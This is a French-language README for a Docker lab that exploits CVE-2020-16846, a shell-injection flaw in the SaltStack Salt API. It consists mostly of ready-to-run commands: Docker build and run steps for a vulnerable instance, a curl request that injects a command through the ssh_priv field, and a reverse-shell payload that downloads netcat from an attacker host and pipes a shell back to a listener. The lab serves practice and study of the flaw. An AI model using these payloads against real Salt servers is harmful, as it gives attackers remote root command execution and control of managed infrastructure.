
Environnement de laboratoire basé sur Docker pour exploiter CVE-2020-16846, une vulnérabilité d'injection de commandes dans l'API Salt de SaltStack, avec des instructions d'exploitation étape par étape et des exemples de payload reverse shell.
Explication de la vulnérabilité : Un problème a été découvert dans SaltStack Salt jusqu'à la version 3002. L'envoi de requêtes web malveillantes à l'API Salt, avec le client SSH activé, peut entraîner une injection de shell. Les détails de cette vulnérabilité se trouvent ici :
À des fins de pratique et d'apprentissage, j'ai décidé de créer une instance vulnérable et de l'exploiter.
Version vulnérable : https://github.com/saltstack/salt/releases/tag/v3002
Testé sur Ubuntu 20.04.03
Utilisez le Dockerfile pour créer une instance vulnérable dans Docker.
Exécutez salt_setup.sh si vous souhaitez créer une instance vulnérable sur une VM Ubuntu.
docker build -t salt-image .
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

Shell inversé
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
